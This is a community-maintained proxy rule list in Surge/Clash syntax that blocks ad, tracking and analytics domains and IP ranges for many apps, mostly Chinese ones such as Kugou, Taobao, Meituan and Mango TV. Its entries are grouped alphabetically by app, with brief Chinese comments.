+DOMAIN-SUFFIX,ucstat.baidu.com +DOMAIN-SUFFIX,ulic.baidu.com +DOMAIN-SUFFIX,ulog.imap.baidu.com +DOMAIN-SUFFIX,union.baidu.com +DOMAIN-SUFFIX,union.baidustatic.guannin.com +DOMAIN-SUFFIX,unionimage.baidu.com +DOMAIN-SUFFIX,utility.baidu.com +DOMAIN-SUFFIX,utk.baidu.com +DOMAIN-SUFFIX,videopush.baidu.com +DOMAIN-SUFFIX,w.gdown.baidu.com +DOMAIN-SUFFIX,w.x.baidu.com +DOMAIN-SUFFIX,wangmeng.baidu.com +DOMAIN-SUFFIX,weishi.baidu.com +DOMAIN-SUFFIX,wisepush.video.baidu.com +DOMAIN-SUFFIX,wm.baidu.com +DOMAIN-SUFFIX,yingxiao.baidu.com +DOMAIN-SUFFIX,znsv.baidu.com +DOMAIN-SUFFIX,baidustatic.com +DOMAIN-SUFFIX,als.baidu.com +DOMAIN-SUFFIX,duclick.baidu.com +DOMAIN-SUFFIX,hm.baidu.com +DOMAIN-SUFFIX,hmma.baidu.com +DOMAIN-SUFFIX,mobads.baidu.com +DOMAIN-SUFFIX,mobads-logs.baidu.com +DOMAIN-SUFFIX,nsclick.baidu.com +DOMAIN, hm.baidu.com +DOMAIN, hmma.baidu.com + +# > 百度地图 +DOMAIN, afd.baidu.com +DOMAIN, afdconf.baidu.com +DOMAIN, httpdns.baidubce.com +DOMAIN, lc.map.baidu.com + +# > 百度贴吧 屏蔽域名dns查询 +IP-CIDR, 180.76.76.200/32, no-resolve +DOMAIN-KEYWORD,api.sobot.com +DOMAIN-SUFFIX,cm.ad.bilibili.com +DOMAIN-SUFFIX,cm.adcommon.bilibili.com +DOMAIN-SUFFIX,cm.game.bilibili.com +DOMAIN-SUFFIX,cm.track.biligame.bilibili.com + +# > 百词斩 +DOMAIN, advertise.baicizhan.com +DOMAIN, advertise.baicizhan.org + +# > Braze +DOMAIN-SUFFIX,iad.appboy.com +DOMAIN-SUFFIX,iad-03.appboy.com +DOMAIN-SUFFIX,iad-01.braze.com +DOMAIN-SUFFIX,iad-02.braze.com +DOMAIN-SUFFIX,iad-03.braze.com +DOMAIN-SUFFIX,iad-04.braze.com +DOMAIN-SUFFIX,iad-05.braze.com +DOMAIN-SUFFIX,iad-06.braze.com +DOMAIN-SUFFIX,iad-08.braze.com + +DOMAIN-SUFFIX,alienskins.cn +DOMAIN-SUFFIX,anydeskchina.cn +DOMAIN-SUFFIX,betterzipcn.com +DOMAIN-SUFFIX,dongmansoft.com +DOMAIN-SUFFIX,earmasterchina.cn +DOMAIN-SUFFIX,folxchina.cn +DOMAIN-SUFFIX,hypeapp.cn +DOMAIN-SUFFIX,idmchina.net +DOMAIN-SUFFIX,imazingchina.com +DOMAIN-SUFFIX,luping.net.cn +DOMAIN-SUFFIX,mindmanager.cn +DOMAIN-SUFFIX,officesoftcn.com +DOMAIN-SUFFIX,photozoomchina.com +DOMAIN-SUFFIX,xitongqingli.com + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > Camera360 +DOMAIN, dispatcher.360in.com +DOMAIN, ad.360in.com +DOMAIN, exp.360in.com + +# > 车来乐 +DOMAIN, atrace.chelaile.net.cn +DOMAIN, logs.chelaile.net.cn + +# > 创维 +DOMAIN-SUFFIX,hoisin.coocaa.com +DOMAIN-SUFFIX,hoisin.coocaatv.com +DOMAIN, data-hoisin.coocaa.com + +# > 车来了(包括小程序) +DOMAIN-SUFFIX,atrace.chelaile.net.cn +DOMAIN, logs.chelaile.net.cn +DOMAIN, ad.chelaile.net.cn + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > Dr.Peng +#IP-CIDR, 10.72.25.0/24 +IP-CIDR, 211.161.101.110/32, no-resolve + +# > 叮嗒出行 +DOMAIN-KEYWORD,image.bianxianmao.com + +# > 滴滴青桔(支付界面图片有误杀) +#DOMAIN-KEYWORD, pt-starimg.didistatic.com +IP-CIDR, 203.107.1.1/24, no-resolve + +# > 懂车帝 +DOMAIN-KEYWORD,p3-pack.byteimg.com +DOMAIN-KEYWORD,p6-pack.byteimg.com + +# > 懂球帝 +DOMAIN-KEYWORD,apimg.qunliao.info + +# > 抖音 +DOMAIN-KEYWORD,bds.snssdk.com +DOMAIN-KEYWORD,p3.pstatp.com + +# > 多多视频 +DOMAIN-SUFFIX,bayescom.com + +# > Daum +DOMAIN, track.tiara.daum.net +DOMAIN, track.tiara.kakao.com + +# > 朵朵校友圈 微信小程序去广告 +DOMAIN-SUFFIX,ad.duoduo.link + +# > 盯盯拍 广告联盟已包含 + +# > 叮咚买菜 +DOMAIN, trackercollect.ddxq.mobi +DOMAIN, ddfs-public.ddimg.mobi +DOMAIN, rttrack.ddxq.mobi + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > 番茄小说 +DOMAIN, i.snssdk.com +DOMAIN, i-lq.snssdk.com +DOMAIN, dig.bdurl.net +DOMAIN, activity-ag.awemeughun.com +DOMAIN, mcs.snssdk.com +DOMAIN, tnc3-alisc1.snssdk.com +DOMAIN, security-lq.snssdk.com +DOMAIN, tnc3-aliec2.snssdk.com +#DOMAIN, is.snssdk.com +DOMAIN, i.snssdk.com +DOMAIN, v6-novelapp.ixigua.com +DOMAIN, msync-im1-vip6-std.easemob.com +DOMAIN, apd-pcdnwxlogin.teg.tencent-cloud.net +DOMAIN, api.iegadp.qq.com +DOMAIN-SUFFIX, novelapp.ixigua.com +DOMAIN-SUFFIX, default.ixigua.com +DOMAIN-SUFFIX, byteorge.com +# 下面两条误杀严重导致懂车帝无法正常使用 +#DOMAIN-SUFFIX, bytegoofy.com +#DOMAIN-SUFFIX, bytedance.com +IP-CIDR, 49.71.37.101/32, no-resolve +IP-CIDR, 117.71.105.23/32, no-resolve +IP-CIDR, 218.94.207.205/32, no-resolve +IP-CIDR, 117.92.229.188/32, no-resolve +IP-CIDR, 101.36.166.16/32, no-resolve +IP-CIDR, 180.96.2.114/32, no-resolve + +# > 凤凰新媒体 +DOMAIN-SUFFIX,deliver.ifeng.com +DOMAIN, api.newad.ifeng.com +DOMAIN, ifengad.3g.ifeng.com + +DOMAIN-SUFFIX,gozendata.com +DOMAIN-SUFFIX,gzads.com +DOMAIN-SUFFIX,gz-data.com + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > GozenData +DOMAIN-SUFFIX, gozendata.com +DOMAIN-SUFFIX, gzads.com +DOMAIN-SUFFIX, gz-data.com + +# > GrowingIO +DOMAIN-SUFFIX,giocdn.com + +# > 光大银行阳光惠生活 +DOMAIN-KEYWORD,talk.bz.getui.com + +# > 谷歌 +DOMAIN-SUFFIX,google-analytics.com +DOMAIN, safebrowsing.googleapis.com +DOMAIN-SUFFIX,doubleclick.net +DOMAIN-SUFFIX,googleadservices.com +DOMAIN-SUFFIX,googleadsserving.cn +DOMAIN-SUFFIX,googlesyndication.com +DOMAIN-SUFFIX,googletagservices.com +DOMAIN-SUFFIX,googletagmanager.com +DOMAIN-SUFFIX,video-ad-stats.googlesyndication.com +DOMAIN-SUFFIX,tpc.googlesyndication.com +DOMAIN-SUFFIX,pagead.google.com +DOMAIN-SUFFIX,pagead.l.google.com +DOMAIN-SUFFIX,pagead2.googlesyndication.com +DOMAIN-SUFFIX,pagead-tpc.l.google.com +DOMAIN-SUFFIX,mobileads.google.com +DOMAIN-SUFFIX,googlecommerce.com +DOMAIN-SUFFIX,blaaaa12.googlecode.com +DOMAIN-SUFFIX,badad.googleplex.com +DOMAIN-SUFFIX,afs.googlesyndication.com +DOMAIN-SUFFIX,afd.l.google.com +DOMAIN-SUFFIX,www.googleadservices.com +DOMAIN-SUFFIX,www.google-analytics.com +DOMAIN, ads.youtube.com + +# > 高德 +DOMAIN-SUFFIX,adiu.amap.com +DOMAIN, aboard.apilocate.amap.com +DOMAIN, apiinit.amap.com +DOMAIN, icloud-amap.com +DOMAIN, logs.amap.com +DOMAIN-SUFFIX,dualstack-logs.amap.com +DOMAIN-SUFFIX,logs.amap.com +DOMAIN-SUFFIX,optimus-ads.amap.com +DOMAIN-SUFFIX,page.amap.com +DOMAIN, optimus-ads.amap.com +DOMAIN, optimus-ads.amap.com.w.alikunlun.com +DOMAIN-SUFFIX,shouji.sougou.com +DOMAIN, u51.me +DOMAIN-SUFFIX,u51.me + +# > 广州地铁乘车码 +# 多个广告 感谢CtrlMusic🐓分享 +DOMAIN, apis.alenable.com + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > HDO +#DOMAIN-suffix, applovin.com +#DOMAIN-suffix, applvn.com + +# > Huawei AspiegelBot +IP-CIDR, 114.119.160.0/21, no-resolve + +# > 湖南卫视 +DOMAIN-SUFFIX,da.hunantv.com +DOMAIN-SUFFIX,log.hunantv.com +DOMAIN-SUFFIX,v2.hunantv.com +DOMAIN-SUFFIX,click.hunantv.com +DOMAIN-SUFFIX,mp4.res.hunantv.com +DOMAIN-SUFFIX,res.hunantv.com +DOMAIN-SUFFIX,x.da.hunantv.com +DOMAIN-SUFFIX,x1.da.hunantv.com +DOMAIN-SUFFIX,y.da.hunantv.com +DOMAIN-SUFFIX,log.v2.hunantv.com +DOMAIN-SUFFIX,v2.log.hunantv.com + +# > 虎扑 +DOMAIN, adx.hupu.com +DOMAIN, adx-api.hupu.com +DOMAIN, goblin.hupu.com + +# > 虎牙直播 开屏广告 +DOMAIN, pp-cdnfile2pcdn.msstatic.com +DOMAIN, livewebbs2pcdn.msstatic.com +DOMAIN, huyafile.msstatic.com +DOMAIN, livewebbs2.msstatic.com +DOMAIN, business.msstatic.com +DOMAIN-SUFFIX,v1d.szbdyd.com + +# > 黄油相机 #开屏广告 感谢#Dragon分享 +DOMAIN-SUFFIX,anythinktech.com +DOMAIN-SUFFIX,adkwai.com +DOMAIN-SUFFIX,mob.com + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > jxedt +DOMAIN, richmanapi.jxedt.com +DOMAIN, richmanmain.jxedt.com +DOMAIN, richmanrules.jxedt.com + +# > 金山词霸 +DOMAIN, ad-stat.ksosoft.com +DOMAIN, img.auction-ads.wpscdn.cn +DOMAIN, counter.kingsoft.com +DOMAIN, counter.ksosoft.com +DOMAIN, minfo.wps.cn +DOMAIN, mobad.ijinshan.com +DOMAIN, ups.ksmobile.net +DOMAIN, ws.ksmobile.net + +# > 今日头条 +DOMAIN, dm.toutiao.com +DOMAIN-KEYWORD,ad.toutiao.com +DOMAIN-KEYWORD,clk.gentags.net +DOMAIN-KEYWORD,dm.toutiao.com +DOMAIN-KEYWORD,dm.pstatp.com +DOMAIN-KEYWORD,dm.bytedance.com +DOMAIN-KEYWORD,uop.umeng.com +DOMAIN-KEYWORD,m.suning.com +DOMAIN-KEYWORD,adshare.toutiao.com +DOMAIN-KEYWORD,tunion-api.m.taobao.com +DOMAIN-KEYWORD,s1.pstatp.com +DOMAIN-KEYWORD,s2.pstatp.com +DOMAIN-KEYWORD,s3.pstatp.com +DOMAIN-KEYWORD,a3.pstatp.com +DOMAIN-KEYWORD,a3.bytecdn.cn +DOMAIN, ad.toutiao.com +DOMAIN, dsp.toutiao.com + +# > 京东 +DOMAIN-SUFFIX,jzt.jd.com +DOMAIN-SUFFIX,img-x.jd.com +DOMAIN-SUFFIX,du.jd.com +DOMAIN-SUFFIX,c-nfa.jd.com +DOMAIN-SUFFIX,cm.jd.com +DOMAIN-SUFFIX,jddebug.com +DOMAIN-KEYWORD,policy.jd.com +DOMAIN-KEYWORD,kepler.jd.com +DOMAIN-KEYWORD,bdsp.x.jd.com +DOMAIN-KEYWORD,keplerapi.jd.com +DOMAIN-KEYWORD,mapi.m.jd.com +# 屏蔽DNS +DOMAIN, dns.jd.com +IP-CIDR, 101.124.19.122/32, no-resolve +IP-CIDR6,2402:db40:5100:1011::5/128, no-resolve + +# > 建行生活 +# 内置饿了么外卖弹窗 +DOMAIN, o2o-ad-log-gateway.alibaba.com + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +DOMAIN, apm.gotokeep.com +DOMAIN, kad.gotokeep.com + +# > 快乐广播 +DOMAIN, ad.hpplay.cn +DOMAIN, adc.hpplay.cn +DOMAIN, adcdn.hpplay.cn +DOMAIN, adeng.hpplay.cn +DOMAIN, pin.hpplay.cn +DOMAIN, rp.hpplay.cn +DOMAIN, rpt.hpplay.cn +DOMAIN-SUFFIX,e.kuaishou.com +DOMAIN-SUFFIX,cm.downloader.commercial.kuaishou.com +DOMAIN-SUFFIX,cm.ad.gifshow.com +DOMAIN-SUFFIX,cm.kwad.com + +# > 快压zip +DOMAIN-SUFFIX,kuaizip.com + +# > 酷狗音乐 +DOMAIN, adserviceretry.kugou.com +DOMAIN, ads.service.kugou.com +DOMAIN, adsfile.bssdlbig.kugou.com +DOMAIN, g.koowo.com +DOMAIN, kgmobilestat.kugou.com +DOMAIN, kgmobilestatbak.kugou.com +DOMAIN, mobilelog.kugou.com +DOMAIN, adsfile.bssdlbig.kugou.com +DOMAIN, pgdt.gtimg.com +DOMAIN, adsmind.gdtimg.com +DOMAIN-KEYWORD,searchrecommend.kugou.com +DOMAIN-KEYWORD,nbcollectretry.kugou.com +DOMAIN-KEYWORD,rtmretry.kugou.com +DOMAIN-KEYWORD,rt-m.kugou.com +DOMAIN-KEYWORD,nbcollect.kugou.com +DOMAIN-KEYWORD,c1img.ali.kugou.com +DOMAIN-KEYWORD,kgstaticdlbssdlbig.tx.kugou.com +DOMAIN-KEYWORD,adsfilebssdlbig.ali.kugou.com +DOMAIN-KEYWORD,splashimgbssdl.yun.kugou.com +DOMAIN-KEYWORD,adservice.kugou.com +DOMAIN-KEYWORD,kgipadstat.kugou.com +DOMAIN-KEYWORD,kgipadstatbak.kugou.com +DOMAIN-KEYWORD,logwebs.kugou.com +DOMAIN-KEYWORD,tracker.kugou.com +DOMAIN-KEYWORD,trackercdnbj.kugou.com +DOMAIN-SUFFIX,oth.eve.mdt.qq.com +DOMAIN-SUFFIX,channel.fanxing.kugou.com +DOMAIN-SUFFIX,d.kugou.com +DOMAIN-SUFFIX,downmobile.kugou.com +DOMAIN-SUFFIX,gad.kugou.com +DOMAIN-SUFFIX,game.kugou.com +DOMAIN-SUFFIX,gamebox.kugou.com +DOMAIN-SUFFIX,gcapi.sy.kugou.com +DOMAIN-SUFFIX,gg.kugou.com +DOMAIN-SUFFIX,install.kugou.com +DOMAIN-SUFFIX,install2.kugou.com +DOMAIN-SUFFIX,minidcsc.kugou.com +DOMAIN-SUFFIX,mo.kugou.com +DOMAIN-SUFFIX,msg.mobile.kugou.com +DOMAIN-SUFFIX,mvads.kugou.com +DOMAIN-SUFFIX,p.kugou.com +DOMAIN-SUFFIX,push.mobile.kugou.com +DOMAIN-SUFFIX,rtmonitor.kugou.com +DOMAIN-SUFFIX,sdn.kugou.com +DOMAIN-SUFFIX,song.fanxing.kugou.com +DOMAIN-SUFFIX,update.mobile.kugou.com +DOMAIN-SUFFIX,youxi.kugou.com +DOMAIN-SUFFIX,adserviceretry.kugou.com +DOMAIN-SUFFIX,ads.service.kugou.com +DOMAIN-SUFFIX,adsfile.bssdlbig.kugou.com +DOMAIN-SUFFIX,log.stat.kugou.com +DOMAIN-SUFFIX,log.web.kugou.com +DOMAIN-SUFFIX,kgmobilestat.kugou.com +DOMAIN-SUFFIX,kgmobilestatbak.kugou.com +DOMAIN-SUFFIX,mobilelog.kugou.com + +# > 酷我音乐 +DOMAIN, mobilead.kuwo.cn +DOMAIN, rich.kuwo.cn +DOMAIN-KEYWORD,rich.kuwo.cn +DOMAIN-KEYWORD,mobilead.kuwo.cn +DOMAIN-SUFFIX,c.kuwo.cn +DOMAIN-SUFFIX,deliver.kuwo.cn +DOMAIN-SUFFIX,game.kuwo.cn +DOMAIN-SUFFIX,kuwoyy.com +DOMAIN-SUFFIX,kwmsg.kuwo.cn +DOMAIN-SUFFIX,msclick2.kuwo.cn +DOMAIN-SUFFIX,msphoneclick.kuwo.cn +DOMAIN-SUFFIX,updatepage.kuwo.cn +DOMAIN-SUFFIX,wa.kuwo.cn +DOMAIN-SUFFIX,webstat.kuwo.cn +DOMAIN-SUFFIX,mobilead.kuwo.cn +DOMAIN-SUFFIX,rich.kuwo.cn + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > LinkWiFi +DOMAIN, a.wkanx.com +DOMAIN, cwx.lianwangtech.com +DOMAIN, c1wx.lianwangtech.com + +# > 蓝基因(弹窗还在,需要手动关闭) +DOMAIN-KEYWORD,medicine.lanjiyin.com.cn + +# > 两步路 +DOMAIN-SUFFIX,admobile.top + +# > 乐视 +DOMAIN-SUFFIX,webp2p.letv.com +DOMAIN, ark.letv.com +DOMAIN, emma-414870e223.huodonghezi.com +DOMAIN, g3.letv.com +DOMAIN, n.mark.letv.com + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MacKeeper +DOMAIN-SUFFIX,zryydi.com + +# > 美团 +DOMAIN, flowplus.meituan.net +DOMAIN-SUFFIX,analytics.meituan.net +DOMAIN-SUFFIX,meituan.xn +DOMAIN-SUFFIX,meituan.yoga +DOMAIN-SUFFIX,meituangov.cn +DOMAIN-SUFFIX,report.meituan.com +DOMAIN-SUFFIX,wmlog.meituan.com +DOMAIN-SUFFIX,ad.e.waimai.sankuai.com +DOMAIN-SUFFIX,mads.meituan.com +DOMAIN-SUFFIX,dreport.meituan.net +DOMAIN-SUFFIX,d.meituan.net + +# > 美颜相机 去首页和轮播广告 +DOMAIN, adui.tg.meitu.com +DOMAIN, aaid.uyunad.com + +# > 美柚 +DOMAIN,ad.seeyouyima.com + +# > 买单吧 +DOMAIN-KEYWORD,c-hzgt2.getui.com + +# > 民生银行 +DOMAIN-KEYWORD,cm-10-134.getui.com +DOMAIN-KEYWORD,sdk.open.talk.getui.com +DOMAIN-KEYWORD,cm-10-35.getui.com +DOMAIN-KEYWORD,c-hzgt2.getui.com +DOMAIN-SUFFIX,sdk.open.talk.igexin.com + +# > 墨迹天气 +DOMAIN-KEYWORD,fds.api.moji.com +DOMAIN-KEYWORD,me.api.moji.com +DOMAIN-KEYWORD,android.bugly.qq.com +DOMAIN-KEYWORD,av1.xdrig.com +DOMAIN-KEYWORD,adash.man.aliyuncs.com +DOMAIN-KEYWORD,v1.log.moji.com +DOMAIN-KEYWORD,ad.api.moji.com +DOMAIN, ad.api.moji.com +DOMAIN, adlaunch.moji.com +DOMAIN, ads.mojicdn.com +DOMAIN, v1.log.moji.com + +# > 咪咕视频 +DOMAIN-SUFFIX,ad.cmvideo.cn +DOMAIN, ggc.cmvideo.cn +DOMAIN, ggv.cmvideo.cn +DOMAIN, ggx.cmvideo.cn +DOMAIN, ggx03.miguvideo.com +DOMAIN, ggic03.miguvideo.com +DOMAIN, ggmk.miguvideo.com +DOMAIN, ggadoffline.miguvideo.com + +# > 小米米家 +DOMAIN, sdkconfig.ad.xiaomi.com + +# > 芒果TV +DOMAIN, dflow.bz.mgtv.com +DOMAIN, encounter.bz.mgtv.com +DOMAIN, floor.bz.mgtv.com +DOMAIN, img.da.mgtv.com +DOMAIN, layer.bz.mgtv.com +DOMAIN, mob.bz.mgtv.com +DOMAIN, mobile.da.mgtv.com +DOMAIN, rc-topic-api.bz.mgtv.com +DOMAIN, v2.da.mgtv.com +DOMAIN, video.da.mgtv.com +DOMAIN, vip.bz.mgtv.com +DOMAIN, ys.da.mgtv.com +DOMAIN-SUFFIX,mobile2.da.mgtv.com +DOMAIN-SUFFIX,cdn.cmop.mgtv.com +DOMAIN-SUFFIX,cmop.mgtv.com +DOMAIN-SUFFIX,imgaliyun.da.mgtv.com +DOMAIN-SUFFIX,imgaliyun.res.mgtv.com +DOMAIN-SUFFIX,m2.da.mgtv.com +DOMAIN-SUFFIX,mobaliyun.res.mgtv.com +DOMAIN-SUFFIX,pc.da.mgtv.com +DOMAIN-SUFFIX,pc1.da.mgtv.com +DOMAIN-SUFFIX,pcvideoaliyun.titan.mgtv.com +DOMAIN-SUFFIX,pcvideoyd.titan.mgtv.com +DOMAIN-SUFFIX,pcweb.v1.mgtv.com +DOMAIN-SUFFIX,py.da.mgtv.com +DOMAIN-SUFFIX,web.da.mgtv.com +DOMAIN-SUFFIX,x.da.mgtv.com +DOMAIN-SUFFIX,y.da.mgtv.com +DOMAIN-SUFFIX,da.mgtv.com + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NicoNico +DOMAIN, ads.nicovideo.jp + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > OPPO +DOMAIN, adsfs.oppomobile.com +DOMAIN-SUFFIX,ads.oppomobile.com + +# > Outlook +DOMAIN, acdn.adnxs.com +DOMAIN, mediation.adnxs.com +DOMAIN, sin3-ib.adnxs.com + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > PPTV +DOMAIN, ads.aplus.pptv.com +DOMAIN, ads.aplusapi.pptv.com +DOMAIN, asimgs.pplive.cn +DOMAIN, de.as.pptv.com + +# > Photoable +DOMAIN, regist.fotoable.com +DOMAIN, cdn.adapi.fotoable.com + +# > PeanutWiFi +DOMAIN, adnew.wifi8.com +DOMAIN, adfile.wifi8.com + +# > PConline +DOMAIN, ad-analysis.pconline.com.cn +DOMAIN, iad0ssl.pcauto.com.cn +DOMAIN, iad0ssl.pconline.com.cn +DOMAIN, imgad0.pcauto.com.cn +DOMAIN, imgad0.pconline.com.cn +DOMAIN, ivy.pchouse.com.cn + +# > 皮皮虾(推荐视频不能预览) +DOMAIN-KEYWORD,log-api.pangolin-sdk-toutiao-b.com +DOMAIN-KEYWORD,log-api.pangolin-sdk-toutiao.com +DOMAIN-KEYWORD,api-access.pangolin-sdk-toutiao.com + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ音乐 +DOMAIN, adstats.tencentmusic.com +DOMAIN, ad.tencentmusic.com +DOMAIN, adcdn.tencentmusic.com +DOMAIN, adcdn6.tencentmusic.com +DOMAIN, adexpo.tencentmusic.com +DOMAIN, adclick.tencentmusic.com +DOMAIN, otheve.beacon.qq.com +DOMAIN, monitor.music.qq.com +DOMAIN, stat.y.qq.com +DOMAIN, tmead.y.qq.com-NO-DROP +DOMAIN, oth.str.mdt.qq.com +DOMAIN, h.trace.qq.com +DOMAIN, sdk.e.qq.com +DOMAIN, p.l.qq.com +DOMAIN, us.l.qq.com +DOMAIN, tangram.e.qq.com +DOMAIN, tmeadbak.y.qq.com-NO-DROP +DOMAIN-SUFFIX, imtmp.net +DOMAIN, tmeadcomm.y.qq.com +DOMAIN, ad.tencentmusic.com +DOMAIN, adstats.tencentmusic.com +DOMAIN, tmead.y.qq.com +DOMAIN-SUFFIX, rqd.qq.com +DOMAIN-SUFFIX, wup.imtt.qq.com +DOMAIN-SUFFIX, gdt.qq.com +DOMAIN-SUFFIX, android.rqd.qq.com +DOMAIN-SUFFIX, e.qq.com +DOMAIN-SUFFIX, v.gdt.qq.com +DOMAIN, amsweb-cdn-gz-1258344696.file.myqcloud.com +DOMAIN, wallpaper-1258344696.file.myqcloud.com +DOMAIN, xs.gdt.qq.com +IP-CIDR, 120.222.240.171/32, no-resolve + +# > 蜻蜓FM +DOMAIN, ad.qingting.fm +DOMAIN, adlaunch.qingting.fm +DOMAIN, ad-cdn.qingting.fm + +# > 七猫小说 +DOMAIN, cdn-new-ad.wtzw.com +DOMAIN, a-remad.qm989.com +DOMAIN, mobads.baidu.com +DOMAIN-SUFFIX,gdt.qq.com +DOMAIN, qzs.gdtimg.com +DOMAIN, mobads-pre-config.cdn.bcebos.com +DOMAIN, pgdt.ugdtimg.com + +# > 汽车之家 +DOMAIN-KEYWORD,adm3.autoimg.cn +DOMAIN-KEYWORD,collectionpv.che168.com +DOMAIN-KEYWORD,adproxy.autohome.com +DOMAIN-KEYWORD,applogapi.autohome.com +DOMAIN, adproxy.autohome.com.cn +DOMAIN, rd.autohome.com.cn +DOMAIN, al.autohome.com.cn +DOMAIN, applogapi.autohome.com.cn +DOMAIN, adm0.autoimg.cn +DOMAIN, adm1.autoimg.cn +DOMAIN, adm2.autoimg.cn +DOMAIN, adm3.autoimg.cn + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > soul +DOMAIN, soul-ad.soulapp.cn +DOMAIN, ad-r.soulapp.cn +DOMAIN, ad-reward.soulapp.cn +DOMAIN-SUFFIX,cdn.soulapp.cn +IP-CIDR, 47.56.131.76/32, no-resolve +IP-CIDR, 47.97.215.55/32, no-resolve +IP-CIDR, 47.99.42.29/32, no-resolve +IP-CIDR, 120.27.235.201/32, no-resolve +IP-CIDR, 121.196.197.147/32, no-resolve + +# > Snapchat +DOMAIN, ads.snapchat.com +DOMAIN, adsapi.snapchat.com + +# > 搜狐 +DOMAIN-SUFFIX,ad.sohu.com +DOMAIN-SUFFIX,ads.sohu.com +DOMAIN-SUFFIX,aty.sohu.com +DOMAIN, hui.sohu.com + +# > 搜狗 +DOMAIN-SUFFIX,epro.sogou.com +DOMAIN-SUFFIX,golden1.sogou.com +DOMAIN-SUFFIX,inte.sogou.com +DOMAIN-SUFFIX,inte.sogoucdn.com +DOMAIN-SUFFIX,lu.sogoucdn.com +DOMAIN-SUFFIX,theta.sogoucdn.com +DOMAIN-SUFFIX,uranus.sogou.com +DOMAIN-SUFFIX,123.sogou.com +DOMAIN-SUFFIX,a1click.cpc.sogou.com +DOMAIN-SUFFIX,adsence.sogou.com +DOMAIN-SUFFIX,adstream.123.sogoucdn.com +DOMAIN-SUFFIX,amfi.gou.sogou.com +DOMAIN-SUFFIX,art.theta.sogoucdn.com +DOMAIN-SUFFIX,athena.wan.sogou.com +DOMAIN-SUFFIX,bazinga.mse.sogou.com +DOMAIN-SUFFIX,bite.theta.sogoucdn.com +DOMAIN-SUFFIX,brand.sogou.com +DOMAIN-SUFFIX,bsiet.husky.sogou.com +# 屏蔽京东和搜狗收集信息 @jFrecht +DOMAIN-SUFFIX,jdqd.jd.com +DOMAIN-SUFFIX,shouji.sougou.com + +# > 深圳通微信小程序 +DOMAIN-SUFFIX,wxsnsdythumb.wxs.qq.com + +# > 收钱吧 买单小程序去广告 +DOMAIN, ads-shopping.shouqianba.com + +# > 什么值得买 +DOMAIN, aaid.uyunad.com +DOMAIN, acs4baichuan.m.taobao.com +DOMAIN, adashxgc.ut.taobao.com +DOMAIN, analytics-api.smzdm.com +DOMAIN, baichuan-sdk.alicdn.com +DOMAIN, dgstatic.jd.com +DOMAIN, msg.umengcloud.com +DOMAIN, sec.umeng.com +DOMAIN, ulogs.umeng.com +DOMAIN, ynuf.aliapp.org + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > TubeMax 感谢@可莉分享 +DOMAIN-SUFFIX,adjust.com +DOMAIN-SUFFIX,applvn.com +DOMAIN-SUFFIX,app-measurement.com +DOMAIN-SUFFIX,pangle.io +DOMAIN-SUFFIX,applovin.com +DOMAIN-SUFFIX,appier.net +DOMAIN-SUFFIX,adsmoloco.com +DOMAIN-SUFFIX,adcanvas.com + +# > The Paper +DOMAIN, admonitor.thepaper.cn +DOMAIN, adpai.thepaper.cn +DOMAIN, imgadpai.thepaper.cn + +# > TalkingData +DOMAIN-SUFFIX,cpatrk.net + +# > Talkatone +DOMAIN-SUFFIX,tappx.com + +# > 天神 +DOMAIN, track.tenjin.com +DOMAIN, track.tenjin.io +DOMAIN, errlog.umeng.com +DOMAIN, lf9-cdn-tos.bytegecko.com +DOMAIN, novel.pangolin-sdk-toutiao.com + +# > 淘宝 +DOMAIN-SUFFIX,apoll.m.taobao.com +DOMAIN-SUFFIX,h-adashx.ut.taobao.com +DOMAIN-SUFFIX,w.m.taobao.com +DOMAIN, tunion-api.m.taobao.com +DOMAIN-SUFFIX,re.m.taobao.com +DOMAIN-SUFFIX,agoodm.m.taobao.com +DOMAIN-SUFFIX,ai.taobao.com +DOMAIN-SUFFIX,api.waptest.taobao.com +DOMAIN-SUFFIX,dsp.simba.taobao.com +DOMAIN-SUFFIX,fav.simba.taobao.com +DOMAIN-SUFFIX,m.simba.taobao.com +DOMAIN-SUFFIX,mclick.simba.taobao.com +DOMAIN-SUFFIX,re.taobao.com +DOMAIN-SUFFIX,redirect.simba.taobao.com +DOMAIN-SUFFIX,simba.m.taobao.com +DOMAIN-SUFFIX,srd.simba.taobao.com +DOMAIN-SUFFIX,temai.taobao.com +DOMAIN-SUFFIX,textlink.simba.taobao.com +DOMAIN-SUFFIX,unitacs.m.taobao.com +DOMAIN-SUFFIX,acs4baichuan.m.taobao.com +DOMAIN-SUFFIX,adashbc.ut.taobao.com +DOMAIN-SUFFIX,adash-c.ut.taobao.com +DOMAIN-SUFFIX,adashxgc.ut.taobao.com +DOMAIN-SUFFIX,adashx4yt.m.taobao.com +DOMAIN-SUFFIX,tunion-api.m.taobao.com +DOMAIN-SUFFIX,tns.simba.taobao.com +DOMAIN-SUFFIX,click.mz.simba.taobao.com +DOMAIN-SUFFIX,click.simba.taobao.com +DOMAIN-SUFFIX,click.tz.simba.taobao.com +DOMAIN-SUFFIX,stat.simba.taobao.com +DOMAIN-SUFFIX,m-adash.m.taobao.com +DOMAIN-SUFFIX,adashbc.m.taobao.com + +# > 腾讯视频 +# 去除开屏,播放,暂停,青少年等广告。开启下面的规则播放时会有10秒左右的卡顿 +# 